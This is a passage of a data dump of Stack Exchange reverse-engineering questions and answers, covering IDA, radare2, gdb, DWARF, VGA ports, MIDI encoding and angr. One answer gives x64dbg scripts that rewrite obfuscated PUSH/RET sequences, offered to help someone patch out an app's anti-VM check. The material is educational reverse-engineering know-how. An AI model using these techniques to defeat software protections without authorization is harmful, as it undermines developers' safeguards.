int\n</code></pre>\n\n<p>Is this correct?</p>\n",
        "Title": "dereferencing structure members",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>After compilation, a pointer to a C struct will be pointing to its first element. In your example, <code>[ebp + 8]</code> is a pointer to <code>member1</code> and you can access a pointer to <code>member2</code> like this: </p>\n\n<pre><code>mov eax, [ebp + 8] ; eax contains pointer to struct and its first member\nmov eax, [eax + 4] ; eax contains a pointer to member2\n</code></pre>\n\n<p>When in any doubt, you can always write a simple program, compile it and check the resulting assembler code. In your case, you could write something like this:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nstruct example\n{\n    int member1;\n    void* member2;\n};\n\n\nvoid initialiseStruct(struct example* e)\n{\n    e-&gt;member1 = 1;\n    e-&gt;member2 = NULL;\n}\n\nint main()\n{\n    struct example e;\n    initialiseStruct(&amp;e);\n    return 0;\n}\n</code></pre>\n\n<p>And then compile it and run <code>objdump -dM intel FILENAME</code> to get a snippet like the following one:</p>\n\n<pre><code>0000054d &lt;initialiseStruct&gt;:\n 54d:   55                      push   ebp\n 54e:   89 e5                   mov    ebp,esp\n 550:   e8 6b 00 00 00          call   5c0 &lt;__x86.get_pc_thunk.ax&gt;\n 555:   05 83 1a 00 00          add    eax,0x1a83\n 55a:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]\n 55d:   c7 00 01 00 00 00       mov    DWORD PTR [eax],0x1 ; e-&gt;member1 = 1\n 563:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]\n 566:   c7 40 04 00 00 00 00    mov    DWORD PTR [eax+0x4],0x0 ; e-&gt;member2 = NULL\n 56d:   90                      nop\n 56e:   5d                      pop    ebp\n 56f:   c3                      ret  \n</code></pre>\n\n<p>Regarding your second question: you should view <code>[]</code> in assembly like <code>*</code> in C in case of <code>mov</code>. </p>\n\n<p>If <code>member2</code> points to <code>int</code>, you can access this integer this way (I've added C equivalents next to each assembly instruction):</p>\n\n<pre><code>mov eax, [ebp + 8] ; eax = e - remember, in my example e is a pointer\nmov eax, [eax + 4] ; eax = *(e + 4) = e-&gt;member2, so now eax contains the memory address at e-&gt;member2\nmov ecx, [eax] ; ecx = *(e-&gt;member2) - ecx contains the integer value\n</code></pre>\n"
    },
    {
        "Id": "25161",
        "CreationDate": "2020-05-30T03:00:01.537",
        "Body": "<p>I found an address of a function from the game AssaultCube, and the address is <code>0045BCA0</code>. In IDA, I disassembled ac_client.exe as a portable executable and tried to search for that address in the subview window with no results. This address is definitely in the actual game. How would I make IDA include more subview addresses so I can find that function address?</p>\n\n<p><strong>Can't Find Address</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/nQ9xk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nQ9xk.png\" alt=\"Missing Addresses\"></a></p>\n",
        "Title": "IDA No Search Results in Subview For Viable Address",
        "Tags": "|ida|",
        "Answer": "<p>Looks like no function has been created at that address for whatever reason. Try jumping to it manually(<kbd>G</kbd> shortcut) and create code/function there. </p>\n"
    },
    {
        "Id": "25162",
        "CreationDate": "2020-05-30T05:51:10.757",
        "Body": "<p>I'm sending MIDI messages to a proprietary turntable that has an LCD screen on it. The normal software sends out updates via MIDI SysEx to display the current tempo on the LCD. The MIDI is being received on a MKL25Z128VLK4, Cortex-M0+/ARMv6-M device. (I did disassemble the firmware .bin after digging in its guts for the type of chip it's using, but the result of that was ~30k lines of assembly) The LCD model number is inaccessible without desoldering</p>\n<p>At this point, I can successfully update the screen but I'm having trouble figuring out the pattern from a given number and I'm hoping someone else has experience with this.</p>\n<p>Here's what I have found so far:</p>\n<p>Setting a single byte to anything from 9-126 results in 00.0</p>\n<pre><code>  BPM   B1    B2    B3    B4\n 00.0   0     0     0     0\n 00.0   0     0     0     1\n 00.0   0     0     0     2\n 00.0   0     0     0     3\n 00.0   0     0     0     4\n 00.0   0     0     0     5\n 00.0   0     0     0     6\n 00.0   0     0     0     7\n 00.0   0     0     0     8\n 00.0   0     0     0    16\n 00.0   0     0     0    32\n 00.0   0     0     0    64\n 00.1   0     0     0   127\n 00.1   0     0     1     0\n 00.3   0     0     2     0\n 00.4   0     0     3     0\n 00.6   0     0     4     0\n 00.8   0     0     5     0\n 00.9   0     0     6     0\n 01.1   0     0     7     0\n 01.2   0     0     8     0\n 00.0   0     0    16     0\n 00.0   0     0    32     0\n 00.0   0     0    64     0\n 02.4   0     0   127     0\n 02.5   0     1     0     0\n 05.1   0     2     0     0\n 07.6   0     3     0     0\n 10.2   0     4     0     0\n 12.8   0     5     0     0\n 16.3   0     6     0     0\n 17.9   0     7     0     0\n 20.4   0     8     0     0\n 00.0   0    16     0     0\n 00.0   0    32     0     0\n 00.0   0    64     0     0\n 38.4   0   127     0     0\n 40.9   1     0     0     0\n 81.9   2     0     0     0\n122.8   3     0     0     0\n163.8   4     0     0     0\n204.8   5     0     0     0\n245.7   6     0     0     0\n286.7   7     0     0     0\n327.6   8     0     0     0\n 00.0  16     0     0     0\n 00.0  32     0     0     0\n 00.0  64     0     0     0\n614.4 127     0     0     0\n</code></pre>\n<p>Turning on multiple bytes adds them together with sometimes strange results</p>\n<pre><code> 40.9   1     0     0     0\n 00.1   0     0     1     0\n 41.1   1     0     1     0\n\n 81.9   2     0     0     0\n 00.1   0     0     1     0\n 82.0   2     0     1     0\n\n</code></pre>\n<p>I'm wondering if there's some floating point or bitwise maths going on that I'm just not well versed in, and if so what are the real numbers and data types used for the calculations? I feel understanding this is crucial to solving this problem without a massive lookup table or gutting it and writing my own controller</p>\n",
        "Title": "Construct a number from 0-999.9 using 5 data bytes of a MIDI SysEx message",
        "Tags": "|debugging|hardware|patching|embedded|math|",
        "Answer": "<h2>Binary</h2>\n\n<p>MIDI data bytes are 7 bits, meaning they can have decimal values from 0 to 127.</p>\n\n<p>In a 7-bit binary number:</p>\n\n<ul>\n<li>the bit on the right represents a decimal value of 1.</li>\n<li>the next bit to the left represents a decimal value of 2.</li>\n<li>the next bits to the left represent decimal values of 4, 8, 16, 32, and 64.</li>\n</ul>\n\n<p>Decimal values from 0 to 127 can be expressed in seven bits, where each bit is a 0 or 1.</p>\n\n<pre><code>binary   decimal\n0000001  1 = 1\n0000010  2 = 2\n0000011  3 = 2 + 1\n0000100  4 = 4\n0000101  5 = 4 + 1\n0000110  6 = 4 + 2\n0000111  7 = 4 + 2 + 1\n0001000  8 = 8\n0001001  9 = 8 + 1\n...\n1111111  127 = 64 + 32 + 16 + 8 + 4 + 2 + 1\n</code></pre>\n\n<h2>Pattern</h2>\n\n<p>From the results you described, I suspect the turntable only cares about the lowest 4 bits in each byte. In other words, only the bits with decimal values of 1, 2, 4, and 8 will have an effect on the tempo display. This means only byte values 0 to 15 are useful.</p>\n\n<p>I suspect the turntable is using the following pattern:</p>\n\n<pre><code>B1  B2  B3  B4  tempo  display\n 0   0   0   0   .00     .0\n 0   0   0   1   .01      \"\n 0   0   0   2   .02      \"\n 0   0   0   3   .03      \"\n 0   0   0   4   .04      \"\n 0   0   0   5   .05      \"\n 0   0   0   6   .06      \"\n 0   0   0   7   .07      \"\n 0   0   0   8   .08      \"\n 0   0   0   9   .09      \"\n 0   0   0  10   .10     .1\n 0   0   0  11   .11      \"\n 0   0   0  12   .12      \"\n 0   0   0  13   .13      \"\n 0   0   0  14   .14      \"\n 0   0   0  15   .15      \"\n 0   0   1   0   .16      \"\n 0   0   1   1   .17      \"\n 0   0   1   2   .18      \"\n 0   0   1   3   .19      \"\n 0   0   1   4   .20     .2\n...\n</code></pre>\n\n<p>The byte values represent tempo values in .01 units, but when the turntable displays the tempo, it hides the last digit.</p>\n\n<p>This hidden digit explains why turning on multiple bytes doesn't always produce the sum of the tempos displayed by the individual byte values.</p>\n\n<pre><code>B1  B2  B3  B4  tempo  display\n 1   0   0   0  40.96   40.9\n 0   0   1   0    .16     .1\n 1   0   1   0  41.12   41.1\n</code></pre>\n\n<h2>Bitwise math</h2>\n\n<p>When only some bits are used, bitwise math is indeed useful.</p>\n\n<p>For example, here's some Javascript to convert a tempo to the needed byte values:</p>\n\n<pre><code>t = 123.4;\n\nv = 100 * t;\n\nb1 = (v &gt;&gt; 12) &amp; 15;\nb2 = (v &gt;&gt; 8) &amp; 15;\nb3 = (v &gt;&gt; 4) &amp; 15;\nb4 = v &amp; 15;\n\nconsole.log(b1, b2, b3, b4);\n</code></pre>\n\n<p><code>x &amp; 15</code> is a <strong>bitwise AND</strong>, in this case, to keep only the lowest four bits.</p>\n\n<p><code>x &gt;&gt; 4</code> is a <strong>right shift</strong>, in this case shifting the value 4 bits to the right, which discards the lowest four bits. This has the same effect as dividing by 16 and discarding the remainder.</p>\n\n<p>Here's some Javascript to convert the byte values to the displayed tempo:</p>\n\n<pre><code>b1 = 3;\nb2 = 0;\nb3 = 3;\nb4 = 4;\n\nb1 = b1 &amp; 15;\nb2 = b2 &amp; 15;\nb3 = b3 &amp; 15;\nb4 = b4 &amp; 15;\n\nv = 16*16*16*b1 + 16*16*b2 + 16*b3 + b4;\n\nt = parseInt(v / 10) / 10;\n\nconsole.log(t);\n</code></pre>\n\n<p>In your web browser, you can go to about:blank, then press F12 and go to Console to enter these small Javascript calculations. (For your safety, enter about:blank in the address box, and never run code from strangers if you don't understand it.)</p>\n"
    },
    {
        "Id": "25165",
        "CreationDate": "2020-05-30T11:01:32.683",
        "Body": "<p>The Radare2 command line (I believe it's called \"interactive mode\"?) allows bringing back history and editing it with the arrow keys. However, I prefer to use vi/vim keybindings for this. How do I configure this?</p>\n\n<p>I do have a <code>$HOME/.inputrc</code> file which contains <code>set editing-mode vi</code>, and this works for many programs (presumably all that use GNU Readline or a compatible library).</p>\n\n<p>Alternatively, is there an option available to build Radare2 with Readline?</p>\n",
        "Title": "How do I use vi keybindings at the command line in Radare2?",
        "Tags": "|radare2|",
        "Answer": "<p>You can <code>e scr.prompt.vi = true</code> to enable a limited form of vi key bindings for command line editing. However, this is <em>very</em> limited; it's even missing basic movement commands such as <kbd>f</kbd> and <kbd>t</kbd>, and some commands such as <kbd>cw</kbd> do not appear to work properly. Searching with vi keybindings is unavailable; you must still use the Emacs <kbd>Ctrl-R</kbd> syntax to search backwards in your history. And a special warning: <kbd>Enter</kbd> in command mode will do nothing; you must enter insert mode and press <kbd>Enter</kbd> to enter the command you've just brought up or edited.</p>\n\n<p>(I found the setting by searching the configuration variables using <code>e scr. ~vi</code>; thanks to @blabb for mentioning this to me.)</p>\n\n<p>Radare2 uses its own command line editing code, in <code>libr/cons/dietline.c</code>.</p>\n"
    },
    {
        "Id": "25172",
        "CreationDate": "2020-05-31T09:14:53.497",
        "Body": "<p>I'm new with gdb and I have spent hours looking for direction but I can't find any.\nI need to analyze an executable to find how this program process the arguments and where the output came from. I have it running on my system, got it working correctly to print some encoded string.\nAfter some days trying gdb, I figure that I need to trace the data inside every function, but I can't pass this function __libc_init where the program alwas exited with code 0235. The last process says <code>__libc_init () from /system/lib/libc.so</code> \nso i think it's doing something with this external library libc.so. How could I continue the debug process when I hit this type of process? I can't find any reference to understand this.</p>\n",
        "Title": "GDB exited when running library",
        "Tags": "|gdb|elf|libc|",
        "Answer": "<p>If you cannot step inside that function, you\u2019re probably missing debug symbols for the library (check with <code>info shared</code>). You can try to either install symbols (usually in a package named <code>libc-dbg</code> or similar), or debug on assembly level by using <code>si</code> (step instruction) command. </p>\n"
    },
    {
        "Id": "25181",
        "CreationDate": "2020-06-01T09:19:51.083",
        "Body": "<p>I wanted to run an app on a VM but there are PUSH PUSH RETs stopping me from looking at their anti VM code. There is a messagebox when I run it on a VM. I set a breakpoint at <code>MessageBoxA</code> and it gets triggered as well as EAX is showing the message for the VM. It's all good until now.</p>\n\n<p><a href=\"https://i.stack.imgur.com/QO1IB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QO1IB.png\" alt=\"enter image description here\"></a></p>\n\n<p>I'm using x64dbg and I opened <code>Call Stack</code> tab and double-clicked on the address after user32.MessageBoxA (basically 2nd record), so I could trace back the calls before the actual MessageBoxA. It landed me here:</p>\n\n<p><a href=\"https://i.stack.imgur.com/JGI1a.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JGI1a.png\" alt=\"enter image description here\"></a></p>\n\n<p>I heard that <code>PUSH RET</code> is like a <code>jmp</code>, <code>PUSH PUSH RET</code> is like a <code>call</code>. How do they work? Can they be deobfuscated with a tool/plugin or something?</p>\n\n<p>PUSH 0xC9DFBF leads me here:</p>\n\n<p><a href=\"https://i.stack.imgur.com/IdSFw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IdSFw.png\" alt=\"enter image description here\"></a></p>\n\n<p>PUSH 0xA4DB49 leads me here:</p>\n\n<p><a href=\"https://i.stack.imgur.com/cnZq1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cnZq1.png\" alt=\"enter image description here\"></a></p>\n\n<p>When I follow that jmp, it leads to similar code to <code>PUSH 0xC9DFBF</code>'s image which ends with a jmp to MessageBoxA.</p>\n\n<p>What could you recommend me to step into the code before the actual MessageBoxA call, so I can find their anti VM code and patch it? Do I need to step the instructions from the beginning one by one?</p>\n\n<p>Dumps: <a href=\"http://ufile.io/56c5b2z6\" rel=\"nofollow noreferrer\">http://ufile.io/56c5b2z6</a>. Rebase to 0x1270000 and find 0181E65C address. This address is in the executable file. I attached two dumped DLLs as well, because they were referenced.</p>\n",
        "Title": "Dealing with obfuscated PUSH PUSH RET instructions",
        "Tags": "|assembly|x64dbg|deobfuscation|",
        "Answer": "<p>Technically, </p>\n\n<pre><code>PUSH A\nRET\n</code></pre>\n\n<p>is equivalent to </p>\n\n<pre><code>JMP A\n</code></pre>\n\n<p>and</p>\n\n<pre><code>PUSH A\nPUSH B\nRET\n</code></pre>\n\n<p>is equivalent to </p>\n\n<pre><code>CALL B\nJMP A\n</code></pre>\n\n<p>You can write a x64dbg script which <a href=\"https://help.x64dbg.com/en/latest/commands/searching/find.html\" rel=\"nofollow noreferrer\">searches</a> for the above pattern and replaces it with the simplified assembly.</p>\n\n<hr>\n\n<h2>Example</h2>\n\n<p><code>PUSH + RET</code> has the byte pattern</p>\n\n<pre><code>0:  68 44 33 22 11          push   0x11223344\n5:  c3                      ret \n</code></pre>\n\n<p>The following script replaces it with <code>JMP</code> and the remainder (if any) with <code>NOP</code>.</p>\n\n<pre><code>$base = 0x91e000\n$search_size = 0x100\n\nfindall $base, \"68 ?? ?? ?? ?? c3\", $search_size\n$count = $result\n\nnext:\n    dec $count\n    $addr = ref.addr($count)\n    $jmp_addr = dis.imm($addr)\n    asm $addr, \"jmp 0x{$jmp_addr}\"\n    $asm_size = $result\n    $remainder = 6 - $asm_size\n\n    fill_nop:\n        dec $remainder\n        asm $addr+$asm_size+$remainder, \"nop\"\n        test $remainder, $remainder\n        jnz fill_nop\n\n    test $count, $count\n    jnz next\n\nmsg \"Done\"\n</code></pre>\n\n<p>Similarly for <code>PUSH + PUSH + RET</code>,</p>\n\n<pre><code>0:  68 44 33 22 11          push   0x11223344\n5:  68 dd cc bb aa          push   0xaabbccdd\na:  c3                      ret \n</code></pre>\n\n<p>The following script replaces it with <code>CALL + JMP</code>.</p>\n\n<pre><code>$base = 0x91e000\n$search_size = 0x100\n\nfindall $base, \"68 ?? ?? ?? ?? 68 ?? ?? ?? ?? c3\", $search_size\n$count = $result\n\nnext:\n    dec $count\n    $addr = ref.addr($count)\n    $ret_addr = dis.imm($addr)\n    $call_addr = dis.imm($addr+5)\n    asm $addr, \"call 0x{$call_addr}\"\n    $asm_size = $result\n    asm $addr+$asm_size, \"jmp 0x{$ret_addr}\"\n    add $asm_size, $result\n    $remainder = 0xb - $asm_size\n\n    fill_nop:\n        dec $remainder\n        asm $addr+$asm_size+$remainder, \"nop\"\n        test $remainder, $remainder\n        jnz fill_nop\n\n    test $count, $count\n    jnz next\n\nmsg \"Done\"\n</code></pre>\n\n<hr>\n\n<p>However there are some caveats with the above approach:</p>\n\n<ol>\n<li><p><code>PUSH + PUSH + RET</code> can be converted to <code>CALL + JMP</code> only if the callee uses <code>RET</code> instruction to return back to the caller (which is normal in cdecl). It won't work if it obfuscates the return using a <code>JMP</code> instruction. That is instead of <code>RET</code> there is </p>\n\n<pre><code>ADD ESP, 4\nJMP DWORD PTR [ESP-4]\n</code></pre></li>\n<li><p>Pattern search will work in most cases. However if parts of the code are encrypted it can return false positives and you may be inadvertently overwriting wrong data.</p></li>\n</ol>\n"
    },
    {
        "Id": "25184",
        "CreationDate": "2020-06-01T13:22:20.240",
        "Body": "<p>I was reading <a href=\"https://frida.re/news/2019/09/18/frida-12-7-released/\" rel=\"nofollow noreferrer\">this</a> Frida release page and noticed it made the following reference:</p>\n\n<blockquote>\n  <p>Short of writing the whole agent in C, one could go ahead and build a\n  native library, and load it using Module.load(). This works but means\n  it has to be compiled for every single architecture, deployed to the\n  target, etc.</p>\n</blockquote>\n\n<p>The CModule feature is fantastic for Frida-centric actions, but it would be nice to load generic shared-objects into the target process. CModule appears to be written for performance optimization within Stalker and related code. Any attempt to do something \"extra\" results in something like this will result in compile-time (at runtime, by the embedded TinyCC) errors such as:</p>\n\n<pre><code>Compilation failed: In file included from module.c:3:\\nmodule.c:3: error: include file 'dlfcn.h' not found\"\n</code></pre>\n\n<p>^ Attempt at writing a CModule stub that dlopen'd a shared object from disk. </p>\n\n<p>But the comment by Ole in the link above alludes to this being possible, though I can't find any references other than the <a href=\"https://nodejs.org/api/addons.html#addons_hello_world\" rel=\"nofollow noreferrer\">NodeJS C++ Addons</a> features that are, of course, specific to NodeJS.</p>\n\n<hr>\n\n<p><strong>tl;dr</strong>\nHow does one load a generic object such that all of its exported functions are callable from Javascript? Is this possible?</p>\n",
        "Title": "Load a *.dylib or *.so object into the Javascript V8 runtime?",
        "Tags": "|javascript|shared-object|frida|",
        "Answer": "<p>I was misinterpreting the context of the comment in the original link, it seems. I was under the impression that <code>Module.load</code> was a v8-ism, while it in fact appears to be a Frida-API.</p>\n\n<p><a href=\"https://frida.re/docs/javascript-api/#module\" rel=\"nofollow noreferrer\">https://frida.re/docs/javascript-api/#module</a></p>\n"
    },
    {
        "Id": "25190",
        "CreationDate": "2020-06-02T02:05:46.907",
        "Body": "<p>I'm reverse-engineering some code I wrote in the middle-90s for which the source is long-lost and I'm a bit baffled by some VGA code I've encountered. I think it's <em>probably</em> from library or 3rd party code as I was just learning computers then and, while I did include some assembly to interact with VGA, it wasn't this informed.</p>\n\n<p>If it's helpful, the app is a 16-bit DOS real-mode exe and the original source was compiled by the Turbo Pascal compiler (either version 6 or 7).</p>\n\n\n\n<pre><code>    ; function boilerplate\n    push bp\n    mov  bp,sp\n    call 0EE2:0530  ; stack bounds check function\n\n    ; probe vga port 03CCh\n    sub  sp,0002    ; why?\n    mov  dx,03CC\n    in   al,dx\n    and  al,0C      ; mask bits 3 &amp; 2\n    cmp  al,04      ; al == 00000100b\n    mov  al,00      ; pre return value\n    jne  jump_label ; return 0\n    inc  ax         ; return 1\njump_label:\n    ; store return value in [bp-01] as well, for.. reasons.\n    mov  [bp-01],al\n    mov  al,[bp-01]\n\n    ; function boilerplate    \n    mov  sp,bp\n    pop  bp\n    retf 0004 ; instance pointer?\n</code></pre>\n\n<p>So the question is, what is the intent here? Two parts are confusing to me:</p>\n\n<p><strong>First</strong>, bits 2 and 3 denote <em>clock select</em> according to the VGA docs I've read, but those docs are light on information about what that means when bit 3 is involved. For example, <a href=\"http://www.osdever.net/FreeVGA/vga/extreg.htm#3CCR3C2W\" rel=\"nofollow noreferrer\">http://www.osdever.net/FreeVGA/vga/extreg.htm#3CCR3C2W</a> declares the two values with the bit 3 set as <em>undefined</em>.</p>\n\n<p>This function seems to return 0 when bit 3 is set and bit 2 isn't. But, why? What is it trying to determine about the hardware?</p>\n\n<p><strong>Second</strong>, and this is an aside, but what is the intent of <code>mov [bp-01],al</code> followed by <code>mov al,[bp-01]</code>? This seems redundant!</p>\n",
        "Title": "Why would VGA port 03CC respond with bit 3 set and bit 2 not?",
        "Tags": "|x86|dos|",
        "Answer": "<p>First: the code is only checking bit 2 (bit 0,1,2) if 25 or 28Mhz clock is set</p>\n\n<p>Second: maybe its redundant but can't say without original code - could be still a problem with your disassembler</p>\n\n<pre><code>retf 0004 ; instance pointer?\n</code></pre>\n\n<p>is a far return with pop of 4 bytes from stack</p>\n"
    },
    {
        "Id": "25194",
        "CreationDate": "2020-06-02T11:26:38.267",
        "Body": "<p>How to clear the comments created by funcap and restore database to it's previous state?</p>\n\n<p>I tried reanalyzing the program but comments do not seems to go away from database.</p>\n\n<p>Though, checking-off Comments in IDA Options seems to work, but it also remove comments that I have made.</p>\n\n<p><a href=\"https://i.stack.imgur.com/bQ83R.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bQ83R.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to clear all comments created in ida using funcap?",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>I would like to answer my own question. Firstly, we need to understand that funcap annotates disassembly with anterior comments which are helpful most of the time. But, sometimes it can provide redundant information which can hinder the normal workflow. Unlike normal comments and repeatable comments which usually appear at the end of the line, anterior comments appear above any instruction or data. While posterior comments appear below any given data or instruction in disassembly.</p>\n<p>Therefore, the above problem of clearing comments can be broken down into 2 steps:</p>\n<ol>\n<li>Delete anterior comments while retaining\u00a0other comments at the end of line(comments, repeatable comments).</li>\n<li>Set the color of the disassembly view to default.</li>\n</ol>\n<p>Opening and deleting every individual comment manually using <kbd>Insert</kbd> is a tedious task. We can automate this (boring) task using IDC script or IDAPython script.</p>\n<p><strong>clear_comments.idc</strong> - idc script</p>\n<pre><code>// clear_comments.idc - clear all (anterior)comments by funcap using IDC\n\n#include &lt;idc.idc&gt;\nstatic main(void) {\n    auto ea;\n    for (ea=MinEA(); ea != BADADDR; ea=NextHead(ea, BADADDR))\n    {\n        DelExtLnA(ea, 0);  // delete anterior comments\n        SetColor(ea, CIC_FUNC, DEFCOLOR);  // set default color of functions and data\n        SetColor(ea, CIC_ITEM, DEFCOLOR);\n    }\n    Message(&quot;[*] refreshing disassembly.&quot;);\n    Refresh();\n    Message(&quot;.ok\\n&quot;);\n    Message(&quot;[*] refreshing lists.&quot;);\n    RefreshLists();\n    Message(&quot;.ok\\n&quot;);\n}\n</code></pre>\n<p><strong>clear_comments.py</strong> - idapython script</p>\n<pre><code># clear_comments.py - clear all (anterior)comments by funcap using IDAPython (python 2.7.10)\n\nfrom idaapi import *\nfrom idc import DelExtLnA, SetColor, Refresh, RefreshLists\n\ndef refresh_disassembly():\n    Refresh()\n    return &quot;disassembly&quot;\n\ndef refresh_lists():\n    RefreshLists()\n    return &quot;lists&quot;\n\ndef clear_comments():\n    ea = idaapi.cvar.inf.minEA   \n    while ea != BADADDR:\n        DelExtLnA(ea, 0)                    # delete anterior comments\n        SetColor(ea, CIC_FUNC, DEFCOLOR)    # set default color of functions and data\n        SetColor(ea, CIC_ITEM, DEFCOLOR)\n        ea = idaapi.next_head(ea, idaapi.cvar.inf.maxEA)\n    \n    print &quot;[*] refreshing&quot;, refresh_disassembly(), &quot;..ok&quot;\n    print &quot;[*] refreshing&quot;, refresh_lists(), &quot;..ok&quot;\n    return None\n\nclear_comments()\n</code></pre>\n<p><em>Note 1: I have tested the idapython script in IDA 6.6 with python 2.7.10. For using this script with python 3.x.x we just need some minor adjustments to <code>print(...)</code> statements at <code>line:22</code> <code>line:23</code> only.</em></p>\n<p><em>Note 2: These scripts can be used to delete pseudo comments or to reset the color of the disassembly view to default.</em></p>\n"
    },
    {
        "Id": "25217",
        "CreationDate": "2020-06-05T09:26:28.057",
        "Body": "<p>Looking at DWARFs of bzip2_base I see different offsets between members of a structure type although they are of the same type. Check _IO_FILE structure at the offset 0x9c <a href=\"https://github.com/ryantanwk/VaTy/blob/master/benchmark/sample_binaries/bzip2_base.gcc54-64bit.DIE\" rel=\"nofollow noreferrer\">here</a>. All the way until the 7th member at 0xF0 (_IO_write_end) all members have 12 Byte offset from the previous member, but the 8th member (@ 0xFD) onward the difference in the DIE offset gets 13 Bytes. Can anyone help me understand why? any good text that explains?</p>\n",
        "Title": "How is padding size calculated for members of structure types?",
        "Tags": "|elf|struct|debugging-symbols|offset|",
        "Answer": "<p>The offsets you are quoting are not the offsets of the structure members, but they are offsets of the debug information statements inside the dwarf section. The members itself are all 8 bytes in size. <code>_IO_write_ptr</code> is at offset 40, <code>_IO_write_end</code> is at offset 48 and and <code>_IO_buf_base</code> is at offset 56.</p>\n\n<p>The debug information for <code>_IO_write_end</code> is bigger than the previous debug information records, because the member <code>_IO_write_end</code> is declared in line 256 of the source file, and encoding line numbers of 256 or bigger takes more bytes than encoding line numbers zero to 255.</p>\n"
    },
    {
        "Id": "25222",
        "CreationDate": "2020-06-06T10:14:35.400",
        "Body": "<p>Let's suppose I want to use IDA Pro to debug a Windows PE64 application that always throws an error message at a specific point when being run. What steps would I have to take to find the specific function in the code of the application that throws the error message? </p>\n",
        "Title": "How can I find the function that throws an error message in IDA Pro?",
        "Tags": "|ida|disassembly|debugging|",
        "Answer": "<p>Try to find the string of the error message in the binary (Hotkey: <kbd>Alt</kbd>+<kbd>B</kbd>, Search for binary). If the auto analysis worked well, the string should be annotated with all functions that reference the string, and you should be able to jump to the instructions that refer to the message using the cross references popup (Hotkey: <kbd>Ctrl</kbd>+<kbd>X</kbd>)</p>\n"
    },
    {
        "Id": "25237",
        "CreationDate": "2020-06-08T08:10:46.790",
        "Body": "<p>I am trying to learn angr from beginning. Due to lack of simple tutorials I programmed my own little executable which angr should solve.</p>\n\n<p>The C code looks as follows:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main(int argc, char *argv[]) {\n    char buffer[20];\n    printf(\"Password\\n\");\n    fgets(buffer,20,stdin);\n    if (strcmp(buffer,\"super!\\n\")==0) {\n        printf(\"SUCCESS!\\n\");\n    } else {\n        printf(\"FAIL!\\n\");\n    }\n    return 0;\n}\n</code></pre>\n\n<p>When compiled and opened in binary ninja I see the printfs at following addresses:\n<a href=\"https://i.stack.imgur.com/nMLiL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nMLiL.png\" alt=\"BN\"></a>\nSo I created following angr python3 code:</p>\n\n<pre><code>import angr\nfrom angr.state_plugins import SimSystemPosix\n\np = angr.Project('./test')\nstate = p.factory.entry_state()\n\n\n\nsm = p.factory.simulation_manager(state)\nsm.explore(find=0x40118c, avoid=0x40119a)\n\nprint(sm.found)\n</code></pre>\n\n<p>Running the python code shows following output:</p>\n\n<blockquote>\n  <p>python3 solve_angr.py \n  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.<br>\n  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:<br>\n  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state<br>\n  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null<br>\n  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.<br>\n  WARNING | 2020-06-08 10:02:29,498 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 72 unconstrained bytes referenced from 0x58d4e0 (strcmp+0x0 in libc.so.6 (0x8d4e0))<br>\n  WARNING | 2020-06-08 10:02:29,499 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x58d4e0 (strcmp+0x0 in libc.so.6 (0x8d4e0))<br>\n  []</p>\n</blockquote>\n\n<p>The [] indicates that it did not find any solution.</p>\n\n<p>Can anybody tell me what I did wrong?</p>\n",
        "Title": "Simple angr example not working",
        "Tags": "|c|angr|",
        "Answer": "<p>If you can't modify the binary but through the static analysis you get the number of bytes you need to provide as a flag, you can construct bit vector</p>\n\n<pre><code>flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(6)]\nflag = claripy.Concat(*flag_chars + [claripy.BVV(b'\\n')])\n</code></pre>\n\n<p>and pass that to the <code>entry_state</code> since the flag is provided as an input through <code>stdin</code> to this binary.</p>\n\n<pre><code>p = angr.Project('test')\nstate = p.factory.entry_state(args=['./test'], stdin=flag)\n</code></pre>\n\n<p>With such setup, <code>angr</code> will successfully find the solution.</p>\n\n<p>Additionally, if you would like to extract the flag</p>\n\n<pre><code>found = sm.found[0]\nflag_str = found.solver.eval_upto(flag, 7, cast_to = bytes)\nprint(flag_str)\n</code></pre>\n"
    },
    {
        "Id": "25245",
        "CreationDate": "2020-06-09T02:46:05.857",
